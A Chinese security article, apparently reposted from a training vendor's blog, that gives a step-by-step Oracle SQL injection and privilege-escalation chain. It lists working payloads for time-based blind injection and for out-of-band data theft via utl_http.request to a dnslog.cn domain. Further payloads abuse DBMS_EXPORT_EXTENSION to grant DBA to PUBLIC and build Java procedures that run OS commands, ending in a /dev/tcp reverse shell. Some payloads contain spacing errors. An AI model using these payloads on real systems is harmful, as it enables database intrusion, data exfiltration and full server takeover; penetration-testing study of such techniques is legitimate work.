数据库注入提权总结(下)

admin 2025-12-25 03:01:00 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文总结了Oracle数据库注入提权技术,包括时间盲注(dbms_pipe.receive_message)、DNS外带注入(utl_http.request)、提权命令执行(dbms_export_extension等)以及Java反弹shell等技术方法,提供了具体的SQL注入Payload和利用步骤,展示了从信息收集到权限提升的完整攻击链。 综合评分: 91 文章分类: 渗透测试,漏洞分析,WEB安全


cover_image

数据库注入提权总结(下)

蚁景网安

2025年12月23日 16:31 湖南

以下文章来源于蚁景网络安全 ,作者H3h3QAQ

蚁景网络安全 .

致力于为你带来更实用的网络安全技术内容!

时间盲注

dbms_pipe.receive_message ()

DBMS_LOCK.SLEEP()函数可以让一个过程休眠很多秒,但使用该函数存在许多限制。

首先,不能直接将该函数注入子查询中,因为 Oracle 不支持堆叠查询 (stacked query)。其次,只有数据库管理员才能使用 DBMS_LOCK 包。

在 Oracle PL/SQL 中有一种更好的办法,可以使用下面的指令以内联方式注入延迟:

dbms_pipe.receive_message(‘RDS’, 10)

DBMS_PIPE.RECEIVE_MESSAGE() 函数将为从 RDS 管道返回的数据等待 10 秒。默认情况下,允许以 public 权限执行该包。DBMS_LOCK.SLEEP()与之相反,它是一个可以用在 SQL 语句中的函数。

查看是否可以使用 dbms_pipe.receive_message () 函数进行延时注入

?id=1and1=(dbms_pipe.receive_message(‘RDS’,5)) –+

猜解当前用户

?id=1and7238=(case when (ascii(substrc((select nvl(cast(user as varchar(4000)),chr(32)) from dual),1,1)) > 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else7238 end) --+

猜解表名

?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(table_name asvarchar(4000)),chr(32)) from all_tables whererownum=1and owner='TEST'),1,1)) > 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else7238end) --+

猜解字段

?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(column_name asvarchar(4000)),chr(32)) from all_tab_columns where owner='TEST'and table_name='USERS'andrownum=1),1,1)) > 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else7238end) --+

猜解数据

?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(username asvarchar(4000)),chr(32)) from test.users whererownum=1),1,1)) > 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else7238end) --+

decode ()

原理:结合耗费时间的查询语句,不过在使用的过程中有很多不尽如人意的地方,有时候加载快有时加载慢。

?id=1 and 1=(selectdecode(substr(user,1,1),'S',(selectcount(*) from all_objects),0) from dual) --+

decode () 与 dbms_pipe.receive_message () 嵌套时间盲注

?id=1 and 1=(selectdecode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS', 5),0) from dual) --+

DNS外带注入

Oracle 注入之带外通信和 DNSLOG 注入非常相似,例如和 mysql 中 load_file () 函数实现无回显注入非常相似。

Oracle 发送 HTTP 和 DNS 请求,并将查询结果带到请求中,然后检测外网服务器的 HTTP 和 DNS 日志,从日志中获取查询结果,通过这种方式将繁琐的盲注转换成可以直接获取查询结果的方式。

使用第三方平台,监听访问请求,并记录请求的日志信息,然后使用 utl_http.request() 向外网主机发送 http 请求,请求便携带了查询的结果信息。此处可以结合 SSRF 进行内网探测。或许这就是 Oracle 的 SSRF。

利用 utl.inaddr.get_host_address(),将查询结果拼接到域名下,并使用 DNS 记录解析日志,通过这种方式获取查询结果。

检测是否支持 utl_http.request

?id=1 and exists (selectcount(*) from all_objects where object_name='UTL_HTTP') --+

获取用户名

?id=1and utl_http.request('http://'%7c%7c(select user from dual)%7c%7c'.z9mt3s.dnslog.cn/oracle')=1--+

获取表名

?id=1 and utl_http.request('http://'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'.z9mt3s.dnslog.cn/oracle')=1--+

获取列名

?id=1and utl_http.request('http://'%7c%7c(select column_name from all_tab_columns where owner='TEST'and table_name='USERS'and rownum=1)%7c%7c'.z9mt3s.dnslog.cn/oracle')=1--+

获取数据

?id=1and utl_http.request('http://'%7c%7c(select username from test.users where rownum=1)%7c%7c'.z9mt3s.dnslog.cn/oracle')=1--+

利用漏洞提权命令执行

dbms_export_extension()

•影响版本:Oracle 8.1.7.4, 9.2.0.1-9.2.0.7, 10.1.0.2-10.1.0.4, 10.2.0.1-10.2.0.2, XE (Fixed in CPU July 2006)

•权限:None

•详情:这个软件包有许多易受 PL/SQL 注入攻击的函数。这些函数由 SYS 拥有,作为 SYS 执行并且可由 PUBLIC 执行。因此,如果 SQL 注入处于上述任何未修补的 Oracle 数据库版本中,那么攻击者可以调用该函数并直接执行 SYS 查询。

提升权限

该请求将导致查询 “GRANT DBA TO PUBLIC” 以 SYS 身份执行。因为这个函数允许 PL / SQL 缺陷(PL / SQL 注入)。一旦这个请求成功执行,PUBLIC 获取 DBA 角色,从而提升当前 user 的特权

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to public'''';END;'';END;--','SYS',0,'1',0) from dual

使用Java执行

创建java库

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args){try{BufferedReader myReader= new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) from dual

赋予Java权限

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<>'''''''', ''''''''execute'''''''');end;'''';END;'';END;--','SYS',0,'1',0)&nbsp;from&nbsp;dual

创建函数

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';'''';END;'';END;--','SYS',0,'1',0)&nbsp;from&nbsp;dual

赋予函数执行权限

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0)&nbsp;from&nbsp;dual

执行系统命令

select sys.LinxRunCMD(‘/bin/bash -c /usr/bin/whoami’) from dual

dbms_xmlquery.newcontext()

•影响版本:Oracle 8.1.7.4, 9.2.0.1-9.2.0.7, 10.1.0.2-10.1.0.4, 10.2.0.1-10.2.0.2, XE (Fixed in CPU July 2006)

•必须在 DBMS_PORT_EXTENSION 存在漏洞情况下,否则赋予权限时无法成功

创建java库

select dbms_xmlquery.newcontext('declare&nbsp;PRAGMA&nbsp;AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named&nbsp;"LinxUtil"&nbsp;as&nbsp;import&nbsp;java.io.*;&nbsp;public&nbsp;class&nbsp;LinxUtil&nbsp;extends&nbsp;Object&nbsp;{public&nbsp;static&nbsp;String&nbsp;runCMD(String&nbsp;args) {try{BufferedReader&nbsp;myReader=&nbsp;new&nbsp;BufferedReader(new&nbsp;InputStreamReader(&nbsp;Runtime.getRuntime().exec(args).getInputStream() ) );&nbsp;String&nbsp;stemp,str="";while&nbsp;((stemp&nbsp;=&nbsp;myReader.readLine())&nbsp;!=&nbsp;null) str&nbsp;+=stemp+"";myReader.close();return&nbsp;str;}&nbsp;catch&nbsp;(Exception&nbsp;e){return&nbsp;e.toString();}}}'';commit;end;') from dual;

赋予当前用户Java权限

select user&nbsp;from&nbsp;dualselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''YY'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<>'''''''', ''''''''execute'''''''');end;'''';END;'';END;--','SYS',0,'1',0)&nbsp;from&nbsp;dual;

查看 all_objects 内部改变

select&nbsp;*&nbsp;from&nbsp;all_objects&nbsp;where&nbsp;object_name&nbsp;like&nbsp;'%LINX%'&nbsp;or&nbsp;object_name&nbsp;like&nbsp;'%Linx%'

创建函数

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;')&nbsp;from&nbsp;dual;

判断是否创建成功

select OBJECT_ID from all_objects where object_name =’LINXRUNCMD’

执行命令

select LinxRunCMD(‘id’) from dual

删除函数

dropfunction LinxRunCMD

dbms_java_test.funcall()

•影响版本:10g R2, 11g R1, 11g R2

•权限:Java Permissions

Select DBMS_JAVA_TEST.FUNCALL(‘oracle/aurora/util/Wrapper’,’main’,’/bin/bash’,’-c’,’pwd > /tmp/pwd.txt’) from dual; 执行会有一定报错,但是不影响命令执行

Java反弹shell

linux系统payload

import&nbsp;java.io.*;import&nbsp;java.net.*;publicclassshellRev{publicstaticvoidmain(String[] args){&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;System.out.println(1);try{run();}catch(Exception&nbsp;e){}&nbsp; &nbsp; &nbsp; &nbsp; }publicstaticvoidrun()throws&nbsp;Exception{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;String[] aaa={"/bin/bash","-c","exec 9<> /dev/tcp/192.168.1.50/8080;exec 0<&9;exec 1>&9 2>&1;/bin/sh"};&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Process&nbsp;p=Runtime.getRuntime().exec(aaa);&nbsp; &nbsp; }}

编译

javac shellRev.java

执行

java shellRev

创建 Java 库

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "shell" as import java.io.*;import java.net.*;public class shell {public static void run() throws Exception{String[] aaa={"/bin/bash","-c","exec 9<> /dev/tcp/127.0.0.1/8080;exec 0<&9;exec 1>&9 2>&1;/bin/sh"};Process p=Runtime.getRuntime().exec(aaa);}}'''';END;'';END;--','SYS',0,'1',0)&nbsp;from&nbsp;dual

赋予Java权限

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.net.SocketPermission'''''''', ''''''''<>'''''''', ''''''''*'''''''' );end;'''';END;'';END;--','SYS',0,'1',0)&nbsp;from&nbsp;dual

创建函数

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function reversetcp RETURN VARCHAR2 as language java name ''''''''shell.run() return String''''''''; '''';END;'';END;--','SYS',0,'1',0)&nbsp;from&nbsp;dual

赋予函数执行权限

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on reversetcp to public'''';END;'';END;--','SYS',0,'1',0)&nbsp;from&nbsp;dual

反弹shell

select sys.reversetcp from dual

本文完结

学习网安实战技术课程,戳“阅读原文”


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:蚁景网安 《数据库注入提权总结(下)》

评论:0   参与:  0